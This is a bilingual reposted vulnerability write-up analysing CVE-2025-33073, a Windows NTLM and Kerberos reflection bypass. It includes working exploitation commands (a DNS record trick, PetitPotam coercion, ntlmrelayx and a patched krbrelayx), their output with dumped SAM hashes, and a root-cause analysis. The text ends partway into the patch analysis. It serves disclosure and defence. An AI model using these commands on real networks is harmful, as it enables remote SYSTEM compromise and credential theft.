" /> " />

目 录CONTENT

文章目录

CVE-2025-33073的深入分析——NTLM 反射已死,NTLM 反射万岁!

Octal
2025-06-21 / 0 评论 / 0 点赞 / 11 阅读 / 0 字
温馨提示:
部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

作者 Wilfried Bécard , 纪尧姆·安德烈 - 11/06/2025

近二十年来,Windows 一直受到 NTLM 反射漏洞的困扰。在本文中,我们介绍了 CVE-2025-33073,这是一个绕过 NTLM 反射缓解措施的逻辑漏洞,并允许经过身份验证的远程攻击者在任何不强制执行 SMB 签名的计算机上以 SYSTEM 身份执行任意命令。漏洞发现、根本原因的完整分析以及 Microsoft 的补丁将在这篇博文中详细介绍。

Introduction  介绍

NTLM reflection is a special case of NTLM authentication relay in which the original authentication is relayed back to the machine from which the authentication originated. This class of vulnerability was publicly introduced via MS08-68, where Microsoft prevented SMB to SMB NTLM reflection. Over the years, other exploitation vectors were discovered and patched, such as HTTP to SMB reflection (patched in MS09-13) or DCOM to DCOM reflection (patched in MS15-076).
NTLM 反射是 NTLM 身份验证中继的一种特殊情况,其中原始身份验证被中继回发起身份验证的计算机。此类漏洞是通过 MS08-68 公开引入的,其中 Microsoft 阻止了 SMB 到 SMB 的 NTLM 反射。多年来,其他漏洞利用媒介被发现并进行了修补,例如 HTTP 到 SMB 反射(在 MS09-13 中修补)或 DCOM 到 DCOM 反射(在 MS15-076 中修补)。

Nowadays, it is generally accepted that NTLM reflection attacks vectors are fixed, but from time to time, some researches demonstrate that bypassing mitigations is just a matter of digging into what the mitigation actually does.
如今,人们普遍认为 NTLM 反射攻击向量是固定的,但有时,
一些研究表明 ,绕过缓解措施只是深入研究缓解措施实际作用的问题。

More recently, a tweet demonstrating that Kerberos reflection was not restricted sparked our interest and motivated us to dig more into authentication reflection.
最近,一条 证明 Kerberos 反射不受限制的推文激发了我们的兴趣,并促使我们更深入地研究身份验证反射。

Vulnerability discovery  漏洞发现

As a baseline for our tests, let us see what happens when trying to relay an SMB authentication back to the same machine. Our test machine (SRV1) is an up-to-date Windows Server 2022, domain joined, with SMB signing not enforced:
作为测试的基准,让我们看看在尝试将 SMB 身份验证中继回同一台计算机时会发生什么情况。我们的测试计算机 (SRV1) 是最新的 Windows Server 2022,已加入域,不强制实施 SMB 签名:

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL 192.168.56.3 SRV1.ASGARD.LOCAL 

[-] Sending EfsRpcEncryptFileSrv! 

[+] Got expected ERROR_BAD_NETPATH exception!! 

[+] Attack worked! 



# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support 

[*] Servers started, waiting for connections 

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL 

[-] Authenticating against smb://SRV1.ASGARD.LOCAL as ASGARD/SRV1$ FAILED

PetitPotam coerces a SYSTEM service (lsass.exe) into authenticating to a controlled machine, therefore a machine account authentication is received. As the authentication originates from the same machine, the relay fails.
PetitPotam 强制 SYSTEM 服务 (
lsass.exe) 对受控计算机进行身份验证,因此会收到计算机帐户身份验证。由于身份验证来自同一台计算机,因此中继失败。

To hunt for unusual behavior, we fiddled with different parameters such as the listener host or the client IP address. We registered the srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS record and made it point to our IP address. This format, first documented by James Forshaw and also tackled in one of our previous blogpost, can be used to coerce machines into authenticating via Kerberos to a controlled IP address. When coercing SRV1 with the previous DNS record as the listener, we stumbled across a weird behavior: the relay actually worked!
为了搜寻异常行为,我们调整了不同的参数,例如侦听器主机或客户端 IP 地址。我们注册了
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DNS 记录,并使其指向我们的 IP 地址。这种格式首先由 James Forshaw 记录 ,并在我们之前的一篇博文中进行了处理,可用于强制机器通过 Kerberos 对受控 IP 地址进行身份验证。当使用之前的 DNS 记录作为侦听器强制 SRV1 时,我们偶然发现了一个奇怪的行为:中继实际上有效!

$ dnstool.py -u 'ASGARD.LOCAL\loki' -p loki 192.168.56.10 -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.56.3

[-] Adding new record

[+] LDAP operation completed successfully

$ PetitPotam.py -u loki -p loki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL

[-] Sending EfsRpcEncryptFileSrv!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

# ntlmrelayx.py -t SRV1.ASGARD.LOCAL -smb2support

[*] Servers started, waiting for connections

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.56.14, attacking target smb://SRV1.ASGARD.LOCAL

[*] Authenticating against smb://SRV1.ASGARD.LOCAL as / SUCCEED

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0x0c10b250470be78cbe1c92d1b7fe4e91

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:df3c08415194a27d27bb67dcbf6a6ebc:::

user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::

[*] Done dumping SAM hashes for host: 192.168.56.14

Even more surprisingly, ntlmrelayx.py was able to remotely dump the SAM hive, which means the identity we relayed was privileged on the machine. This seemed odd to us because the machine account is not privileged on its associated machine.
更令人惊讶
的是,ntlmrelayx.py 能够远程转储 SAM 配置单元,这意味着我们中继的身份在计算机上具有特权。这对我们来说似乎很奇怪,因为 machine 帐户在其关联的计算机上没有特权。

Understanding the vulnerability
了解漏洞

In order to quickly understand what had happened, network captures were done for both relay attacks. An obvious difference stood out: in the network capture of the relay with the srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA hostname, NTLM local authentication took place! On the contrary, when coercing the machine with an IP address as the listener, a standard NTLM authentication occurred.
为了快速了解发生了什么,对这两种中继攻击都进行了网络捕获。一个明显的区别很突出:在带有
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 主机名的中继的网络捕获中,发生了 NTLM 本地身份验证!相反,当强制使用 IP 地址作为侦听器的机器时,会发生标准的 NTLM 身份验证。

Local NTLM authentication
本地 NTLM 身份验证

NTLM local authentication is a special case of NTLM authentication in which the server informs the client (in the NTLM_CHALLENGE message) that there is no need to compute the challenge response in the NTLM_AUTHENTICATE message. Instead, the server sets the “Negotiate Local Call” in the challenge message, creates a server context, adds it to a global context list and inserts the context ID in the Reserved field. When the client receives the NTLM_CHALLENGE message, it understands that local NTLM authentication must occur. It then adds its token into the server context which was passed  via the ID in the Reserved field. As the client and the server are on the same machine, everything happens inside the same lsass.exe process. Eventually, the client sends back an NTLM_AUTHENTICATE message which is nearly empty and the server uses the token added to its context to perform further operations (via SMB in our case).
NTLM 本地身份验证是 NTLM 身份验证的一种特殊情况,其中服务器通知客户端(在 NTLM_CHALLENGE 消息中)无需计算 NTLM_AUTHENTICATE 消息中的质询响应。相反,服务器会在质询消息中设置“协商本地呼叫”,创建服务器上下文,将其添加到全局上下文列表,并在 Reserved 字段中插入上下文 ID。当客户端收到 NTLM_CHALLENGE 消息时,它知道必须进行本地 NTLM 身份验证。然后,它会将其令牌添加到服务器上下文中,该令牌通过 Reserved 字段中的 ID 传递 。由于 Client 端和服务器位于同一台计算机上,因此一切都发生在同一个 lsass.exe 进程中。最终,客户端发回一条几乎为空的 NTLM_AUTHENTICATE 消息,服务器使用添加到其上下文中的令牌来执行进一步的作(在我们的例子中是通过 SMB)。

Below is a network capture of the NTLM_CHALLENGE message returned by the server when using an IP address as the listener. We can see that the NTLMSSP_NEGOTIATE_LOCAL_CALL (0x4000) bit is not enabled in the Negotiate flags and that the Reserved flag is NULL.
以下是使用 IP 地址作为侦听程序时服务器返回的
NTLM_CHALLENGE 消息的网络捕获。我们可以看到 NTLMSSP_NEGOTIATE_LOCAL_CALL0x4000) 位未在 Negotiate 标志中启用,并且 Reserved 标志为 NULL。

NTLM_CHALLENGE message when the relay did not work.
NTLM_CHALLENGE 中继不起作用时的消息。

On the opposite, on the other network capture, the flag is set and the Reserved value is not NULL:
相反,在另一个网络捕获上,设置了标志,并且
Reserved (保留 ) 值不是 NULL:

NTLM_CHALLENGE message when the relay worked.
NTLM_CHALLENGE 中继工作时的消息。

To decide whether local NTLM authentication must happen, the server bases its decision on two fields in the NTLM_NEGOTIATE message: the workstation name and domain. The msv1_0!SsprHandleNegotiateMessage function checks if the workstation name and domain name were supplied by the client, and if so, compares it with the current machine name and domain name. If they are equal, the server includes the NTLMSSP_NEGOTIATE_LOCAL_CALL flag in the challenge message, creates a server context and adds its ID to the Reserved field. A simplified version of the code is presented below:
为了确定是否必须进行本地 NTLM 身份验证,服务器根据 NTLM_NEGOTIATE 消息中的两个字段做出决定 :工作站名称和域。 这
msv1_0!SsprHandleNegotiateMessage 函数检查客户端是否提供了工作站名称和域名,如果是,则将其与当前计算机名称和域名进行比较。如果它们相等,则服务器将在 质询消息中包含 NTLMSSP_NEGOTIATE_LOCAL_CALL 标志,创建服务器上下文并将其 ID 添加到 Reserved 字段。代码的简化版本如下所示:

NTSTATUS SsprHandleNegotiateMessage([...])
{
    Context = LocalAlloc(0x160);
[...]
    if ( RtlEqualString(&ClientSpecifiedWorkstationName, &NtLmGlobalOemPhysicalComputerNameString, 0) && RtlEqualString(&ClientSpecifiedDomainName, &NtLmGlobalOemPrimaryDomainNameString, 0) )
    {
        Context->Id = NtLmGlobalLoopbackCounter + 1;
        ChallengeMessage->Flags |= NTLMSSP_NEGOTIATE_LOCAL_CALL;
        InsertHeadList(&NtLmGlobalLoopbackContextListHead, Context);
        ChallengeMessage->ServerContextHandle = Context->Id;
    }
[...]
}

The network captures confirm this analysis: when local authentication was negotiated, the NTLM_NEGOTIATE message contained both the workstation name and domain name of the client:
网络捕获证实了这一分析:协商本地身份验证时,
NTLM_NEGOTIATE 消息同时包含客户端的工作站名称和域名:

NTLM_NEGOTIATE message when the relay worked.
NTLM_NEGOTIATE 中继工作时的消息。

Whereas the fields were both set to NULL in the other case:

而在另一种情况下,字段都设置为 NULL:

NTLM_NEGOTIATE message when the relay did not work.
NTLM_NEGOTIATE 中继不起作用时的消息。

This difference in behavior indicates that the client detects the DNS record srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA as an equivalent to localhost and hints the server that NTLM local authentication should be considered.
这种行为差异表明客户端将 DNS 记录
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 检测为等效于 localhost,并提示服务器应考虑 NTLM 本地身份验证。

Root cause  根源

To understand the root cause of the vulnerability, we traced back to the authentication context initialization by the SMB client (mrxsmb.sys). When it detects that an authentication must be performed, it calls the ksecdd!AcquireCredentialsHandle function (which performs an RPC call to LSASS to the equivalent usermode function) with the Negotiate package to retrieve a credential handle with the current user’s identity. Afterward, the client calls ksecdd!InitializeSecurityContextW, which is also an RPC call to LSASS. Depending on whether the authentication coercion was done with an IP address or the DNS record, the target name passed to InitializeSecurityContextW can look like:
为了了解该漏洞的根本原因,我们追溯到 SMB 客户端 (
mrxsmb.sys) 的身份验证上下文初始化。当它检测到必须执行身份验证时,它会使用 Negotiate 包调用 ksecdd!AcquireCredentialsHandle 函数 (对等效的 usermode 函数) 执行对 LSASS 的 RPC 调用,以检索具有当前用户标识的凭据句柄。之后,客户端调用 ksecdd!InitializeSecurityContextW ,这也是对 LSASS 的 RPC 调用。根据身份验证强制转换是使用 IP 地址还是 DNS 记录完成的,传递给 InitializeSecurityContextW 的目标名称可能如下所示:

  • cifs/192.168.56.3

  • cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
    cifs/srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The usermode entry point for this function is lsasrv!SspiExProcessSecurityContext. This function calls lsasrv!LsapCheckMarshalledTargetInfo to strip the marshalled target information which might be present in the target name:
此函数的 usermode 入口点为
lsasrv!SspiExProcessSecurityContext .此函数调用 lsasrv!LsapCheckMarshalledTargetInfo 以剥离目标名称中可能存在的编组目标信息:

NTSTATUS LsapCheckMarshalledTargetInfo(UNICODE_STRING *TargetName)
{
[...]
    status = CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, &TargetInfoSize);
    if (NT_SUCESS(status))
    {
        Length = TargetName->Length;
        TargetName->MaximumLength = TargetName->Length;
        TargetName->Length = Length - TargetInfoSize;
    }
[...]
    return status;
}

After this function is called, the target name now looks like:
调用此函数后,目标名称现在如下所示 :

  • cifs/192.168.56.3

  • cifs/srv1

Later, LSASS calls the authentication package which was negotiated (NTLM in our case), more specifically, the msv1_0!SpInitLsaModeContext function. As an NTLM_NEGOTIATE message must be crafted, msv1_0!SsprHandleFirstCall is called. Inside this function, several checks are performed to decide whether to include the workstation and domain name in the NTLM_NEGOTIATE message:
稍后,LSASS 将协商的身份验证包(在本例中为 NTLM)调用 , 更具体地说, 是
msv1_0!SpInitLsaModeContext 函数。由于 必须制作 NTLM_NEGOTIATE 信息,msv1_0!调用 SsprHandleFirstCall。在此函数中,将执行多项检查以决定是否在 NTLM_NEGOTIATE 消息中包含工作站和域名 :

NTSTATUS SsprHandleFirstCall(
        HANDLE CredentialHandle,
        NTLM_SSP_CONTEXT **SspContext,
        ULONG fContextReq,
        int a4,
        PSSP_CREDENTIAL Credential,
        UNICODE_STRING *TargetName,
        _DWORD *a7,
        void **a8,
        LARGE_INTEGER SystemTime,
        LARGE_INTEGER *a10,
        _OWORD *a11,
        LARGE_INTEGER LocalTime)
{
    SspCredentialReferenceCredentialEx(CredentialHandle, 0, 1, &Credential);
[...]
    SspIsTargetLocalhost(1, TargetName, &SspContext->IsLoopbackAllowed);
[...]
    if (!SspContext->IsLoopbackAllowed && !NtLmGlobalDisableLoopbackCheck
        || (fContextReq & ISC_REQ_NULL_SESSION) != 0
        || Credential->DomainName
        || Credential->UserName
        || Credential->Password) {
        SspContext->CheckForLocal = FALSE;
    } else {
        SspContext->CheckForLocal = TRUE;
    }
[...]
    if (SspContext->CheckForLocal) {
        RtlCopyAnsiString(WorkstationName, NtLmGlobalOemPhysicalComputerNameString);
        RtlCopyAnsiString(DomainName, NtLmGlobalOemPrimaryDomainNameString);
        NegotiateMessage->OemWorkstationName =  WorkstationName;
        NegotiateMessage->OemDomainName =  DomainName;
    }
[...]

First, the msv1_0!SspIsTargetLocalhost function is used to determine if the target name corresponds to the current machine. To do so, the part after the service class (192.168.56.3 or srv1) is compared (case-insensitive) to several strings:
首先,
msv1_0!SspIsTargetLocalhost 函数用于确定目标名称是否与当前计算机相对应。为此,将服务类(192.168.56.3 或 srv1)后面的部分与几个字符串进行比较(不区分大小写):

  • The FQDN of the machine (SRV1.ASGARD.LOCAL)
    计算机的 FQDN (SRV1.阿斯加德。本地)

  • The hostname of the machine (SRV1) → in our case, it matches!
    计算机的主机名 (SRV1) →在我们的例子中,它匹配!

  • localhost  本地主机

If there is no match, the target name is considered to be an IP address, and is compared to all the IP addresses assigned to the current machine. If none of the previous check pass, then the target name is considered to be different than the current machine.
如果没有匹配项 ,则目标名称被视为 IP 地址,并与分配给当前计算机的所有 IP 地址进行比较。 如果上一个检查均未通过,则认为目标名称与当前计算机不同。

Finally, the workstation and domain name are included in the NTLM_NEGOTIATE message if all the following condition are met:
如果满足以下所有条件 ,则工作站和域名将包含在
NTLM_NEGOTIATE 消息中:

  • The target is the current machine
    目标是当前计算机

  • The client did not ask for NULL authentication
    客户端未要求 NULL 身份验证

  • The current user’s credential are used (no explicit credentials were specified)
    使用当前用户的凭证(未指定显式凭证)

In our case, all these conditions are true, which is why the SMB client hints the server for local NTLM authentication when coercing with the name srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
在我们的示例中,所有这些条件都为 true,这就是为什么 SMB 客户端在强制使用名称
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.

The last question is: why are we privileged on the machine? Well, PetitPotam coerces lsass.exe into authenticating to our server and lsass.exe runs as SYSTEM. When the client (lsass.exe) receives the NTLM_CHALLENGE message indicating that local NTLM authentication must be performed, it copies its SYSTEM token into the server context. When the server receives the NTLM_AUTHENTICATE message, it retrieves the token from the context object and impersonates it to perform further actions via SMB (in our case, use the Remote Registry service to dump the SAM hive and compromise the machine).
最后一个问题是:为什么我们在机器上享有特权?好吧,PetitPotam 强制
lsass.exe 对我们的服务器进行身份验证,lsass.exe 作为 SYSTEM 运行。当客户端 (lsass.exe) 收到 指示必须执行本地 NTLM 身份验证的 NTLM_CHALLENGE 消息时,它会将其 SYSTEM 令牌复制到服务器上下文中。当服务器收到 NTLM_AUTHENTICATE 消息时,它会从上下文对象中检索令牌 ,并模拟它以通过 SMB 执行进一步的作(在我们的例子中,使用远程注册表服务转储 SAM 配置单元并入侵计算机)。

As a little bonus, we noticed that it was possible to register a single DNS record to compromise any vulnerable machine: localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. Indeed, when the marshalled target information is stripped from the target name, only localhost remains, which means the check in msv1_0!SspIsTargetLocalhost will also pass, irrespective of the machine's hostname.
作为一个小小的奖励,我们注意到可以注册单个 DNS 记录来破坏任何易受攻击的计算机:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA .事实上,当从目标名称中剥离封送目标信息时,只剩下 localhost,这意味着签入 msv1_0!SspIsTargetLocalhost 也将传递,而不管计算机的主机名如何。

What about kerberos?  KERBEROS 呢?

The Negotiate workflow  协商工作流程

After this first discovery, we wondered if Kerberos was also affected. After all, as mentioned earlier, Kerberos has no protection against reflection attacks. Therefore, the same attack was performed by replacing ntlmrelayx.py by krbrelayx.py:
在第一次发现之后,我们想知道 Kerberos 是否也受到影响。毕竟,如前所述,Kerberos 无法防止反射攻击。因此,通过将
ntlmrelayx.py 替换为 krbrelayx.py 来执行相同的攻击:

$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[-] Unsupported MechType 'NTLMSSP - Microsoft NTLM Security Support Provider'
[-] No negTokenInit sent by client

Interestingly, even though we supplied a DNS record as the listener host and krbrelayx.py advertises Kerberos as one of its authentication protocol, NTLM authentication was negotiated. The reason is quite simple and is explained by how the Negotiate authentication package works: if the remote server supports both Kerberos and NTLM (which is the case of krbrelayx.py) and the client detects that the target is the current machine, then NTLM is used (to perform local NTLM authentication). To determine if the target is the same machine as the client’s one, the lsasrv!NegpIsLoopback function is used. Similarly to the msv1_0!SspIsTargetLocalhost function, it compares the target name with localhost, the FQDN of the machine and its hostname. In our case, the target name equals the hostname, therefore lsasrv!NegpIsLoopback returns true and NTLM is negotiated. To enforce the use of Kerberos, the NTLM mechtype just needs to be removed from the advertised types:
有趣的是,即使我们提供了 DNS 记录作为侦听器主机,并且 krbrelayx.py Kerberos 作为其身份验证协议之一进行通告,NTLM 身份验证也是协商的。原因非常简单,可以通过 Negotiate 身份验证包的工作原理来解释:如果远程服务器同时支持 Kerberos 和 NTLM(krbrelayx.py 就是这种情况), 并且客户端检测到目标是当前计算机,则使用 NTLM(执行本地 NTLM 身份验证)。 要确定目标是否与客户端的机器是同一台机器,请使用
LSASRV!使用 NegpIsLoopback 函数。类似于 msv1_0!SspIsTargetLocalhost 函数,它将目标名称与 localhost、计算机的 FQDN 及其主机名进行比较。 在我们的例子中,目标名称等于主机名,因此 LSASRV!NegpIsLoopback 返回 true,并协商 NTLM。若要强制使用 Kerberos,只需从播发类型中删除 NTLM mechtype:

File: krbrelayx/lib/servers/smbrelayserver.py
156:         blob['tokenOid'] = '1.3.6.1.5.5.2'
157:         blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
158:                                                        MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
159:                                                        MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support               Provider'])])

By applying this patch, the relay also worked!
如果应用此补丁,中继也起作用了!

$ PetitPotam.py -u loki -p aloki -d ASGARD.LOCAL srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA SRV1.ASGARD.LOCAL
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

# krbrelayx.py -t SRV1.ASGARD.LOCAL -smb2support
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 192.168.56.13
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2969778d862ac2a6df59a263a16adbd1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04e87eb3e0d31f79a461386dfe9c7500:::
user:1000:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::
[*] Done dumping SAM hashes for host: srv1.asgard.local

The same investigation technique was applied: we began by analyzing network captures to understand what happened. However, the captures did not reveal anything out of the ordinary. Via the authentication coercion, an AP-REQ for the cifs/srv1 service as the SRV1$ account was retrieved and relayed, which is exactly what is expected from a Kerberos authentication coercion. Again, the ability to dump the SAM registry hive bothered us because the machine account (which is the relayed identity in this case) is not privileged on its associated machine.
应用了相同的调查技术:我们首先分析网络捕获以了解发生了什么。然而,这些捕获并没有发现任何异常 。通过身份验证强制, 检索并中继作为
SRV1$ 帐户的 cifs/srv1 服务的 AP-REQ,这正是 Kerberos 身份验证强制的预期。 同样,转储 SAM 注册表配置单元的能力让我们感到困扰,因为计算机帐户(在本例中为中继身份)在其关联的计算机上没有特权。

Root cause  根源

When the SMB client has negotiated Kerberos instead of NTLM, the kerberos!SpInitLsaModeContext function is called. This function calls kerberos!KerbBuildApRequest, which then calls kerberos!KerbMakeKeyEx to create a subkey, which is an encryption key that the client and the server may optionally use after the authentication phase. The subkey is inserted in the authenticator part of the AP-REQ sent by the client. If AES is used (which is the default), the subkey is generated randomly via a call to cryptdll!aes256RandomKey.
当 SMB 客户端协商使用 Kerberos 而不是 NTLM 时,
kerberos!SpInitLsaModeContext 函数。此函数调用 kerberos!KerbBuildApRequest 调用,然后调用 kerberos!KerbMakeKeyEx 创建一个子密钥,该子密钥是客户端和服务器在身份验证阶段后可以选择使用的加密密钥。子密钥插入到客户端发送的 AP-REQ 的验证器部分中。如果使用 AES(这是默认设置),则通过调用 cryptdll!aes256RandomKey 随机生成子密钥。

Afterward, if the current user is NT AUTHORITY\SYSTEM or NT AUTHORITY\NETWORK SERVICE, then the kerberos!KerbCreateSKeyEntry function is called:
之后,如果当前用户是
NT AUTHORITY\SYSTEMNT AUTHORITY\NETWORK SERVICE,KERBEROS!KerbCreateSKeyEntry 函数调用:

NTSTATUS SpInitLsaModeContext([...])
{
[...]
    KerbReferenceCredentialEx(CredentialHandle, 2u, 0, 0, &Credential);
[...]
    if ((Credential.LogonId.LowPart == 0x3E7 || Credential.LogonId.LowPart == 0x3E4) &&  Credential.LogonId.HighPart == 0) {
        GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
        &SystemTimeAsFileTime += 2 * KerbGlobalSkewTime.QuadPart;
        KerbCreateSKeyEntry(
            &Credential.LogonId,
            &SubsessionKey,
            &SystemTimeAsFileTime,
            &TokenHandle
        );
    }
}

The function kerberos!KerbCreateSKeyEntry creates a subkey entry containing the current user’s LUID, the subkey, its expiration time and the current user’s token. The subkey entry is then added to the kerberos!KerbSKeyList global list:
函数
kerberos!KerbCreateSKeyEntry 创建一个子项条目,其中包含当前用户的 LUID、 子项、 其过期时间和当前用户的令牌。 然后,将子密钥条目添加到 Kerberos !KerbSKeyList 全局列表:

NTSTATUS KerbCreateSKeyEntry(
        LUID *Luid,
        struct _KERB_ENCRYPTION_KEY *SubsessionKey,
        struct _FILETIME *ExpirationTime,
        void *TokenHandle)
{
[...]
    SessionKeyEntry->Luid = *Luid;
    SessionKeyEntry->TokenHandle = TokenHandle;
    SessionKeyEntry->ExpirationTime = ExpirationTime;
[...]
    RtlAcquireResourceExclusive(&KerbSKeyLock, 1u);
    InsertHeadList(&KerbSKeyList, SessionKeyEntry);
    RtlReleaseResource(&KerbSKeyLock);
}

When the server receives the AP-REQ, it calls AcceptSecurityContext, which forwards the call to kerberos!SpAcceptLsaModeContext. The function performs several checks on the AP-REQ, decrypts it and then calls kerberos!KerbCreateTokenFromTicketEx to create a token from the retrieved AP-REQ. Here comes the interesting part: if the client name (extracted from the ticket) equals the machine name (kerberos!KerbGlobalMachineServiceName), then the kerberos!KerbDoesSKeyExist function is called to check if the AP-REQ subkey exists in the kerberos!KerbSKeyList global list and to check if the associated logon ID corresponds to NT AUTHORITY\SYSTEM
当服务器收到
AP-REQ 时 ,它会调用 AcceptSecurityContext,后者将调用转发到 kerberos!SpAcceptLsaModeContext .该函数对 AP-REQ 执行多项检查 ,对其进行解密,然后调用 kerberos!KerbCreateTokenFromTicketEx 以从检索到的 AP-REQ 创建令牌 。 有趣的部分来了:如果客户端名称(从票据中提取)等于机器名称 ( kerberos!KerbGlobalMachineServiceName ),那么 kerberos!调用 KerbDoesSKeyExist 函数来检查 Kerberos 中是否存在 AP-REQ 子键 !KerbSKeyList 全局列表,并检查关联的登录 ID 是否对应于 NT AUTHORITY\SYSTEM

NTSTATUS KerbCreateTokenFromTicketEx([…])
{
[...]
    KerbConvertPrincipalNameToString(PrincipalName, EncryptedTicket->ClientName);
[...]
    if (RtlEqualUnicodeString(PrincipalName, &KerbGlobalMachineServiceName, 1u) && KerbIsThisOurDomain(Domain))
    {
        IsSystem = FALSE;
        KerbDoesSKeyExist(SubKey, &SubKeyExists, &Luid, &TokenHandle);
        if (SubKeyExists)
        {
            if (Luid.LowPart == 0x3E7 && Luid.HighPart == 0)
            {
                IsSystem = TRUE;
            }
        }
[...]
    }
[...]
    KerbMakeTokenInformationV3([...], IsSystem, […]);
}

The new token information are generated in kerberos!KerbMakeTokenInformationV3 and, if IsSystem is true, then the User field of the token information is set to SYSTEM, and the local admin SID is added to the groups field.
在中
kerberos!KerbMakeTokenInformationV3 生成新的 t oken 信息 ,如果 IsSystem 为 true,则 令牌信息的 User 字段将设置为 SYSTEM,并将本地管理员 SID 添加到 groups 字段中。

NTSTATUS KerbMakeTokenInformationV3([...], BOOL IsSystem, […])
{
[...]
	if (IsSystem)
	{
	    RtlInitializeSid(LocalAdminSid, &IdentifierAuthority, 2u);
	    *RtlSubAuthoritySid(LocalAdminSid, 0) = 32;
	    *RtlSubAuthoritySid(LocalAdminSid, 1u) = 544;
	}        
[...]
	if (IsSystem)
    {
	    TokenInfo->User.User.Sid = TokenSid;
	    RtlCopySid(0xCu, TokenSid, &SystemSid);
	    [...]
    }
}

Eventually, the lsasrv!LsapCreateTokenEx function is called with the previously generated token information to create the token. In our case, a SYSTEM token is created and associated with the client.
最终,
lsasrv! 使用之前生成的令牌信息调用 LsapCreateTokenEx 函数来创建令牌。 在我们的例子中 ,将创建一个 SYSTEM 令牌并将其与客户端关联 。

Patch analysis and recommendations
补丁分析和建议

Microsoft described CVE-2025-33073 as a vulnerability in the SMB client. Therefore, to understand the patch, the mrxsmb.sys kernel driver was diffed against the one before the patch. The diff revealed that only a few functions were modified. The interesting one is mrxsmb!SmbCeCreateSrvCall, which is called when trying to access a resource over SMB. The following code was added:
Microsoft 将 CVE-2025-33073 描述为 SMB 客户端中的漏洞。因此,为了理解补丁,
mrxsmb.sys 内核驱动程序与补丁之前的内核驱动程序有所不同。差异显示,只有少数函数被修改。有趣的是 mrxsmb!SmbCeCreateSrvCall,在尝试通过 SMB 访问资源时调用。添加了以下代码:

NTSTATUS SmbCeCreateSrvCall([...])
{
[...]
    if ((unsigned int)CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, 0) != STATUS_INVALID_PARAMETER ) {
        return STATUS_INVALID_PARAMETER;
    }
[...]

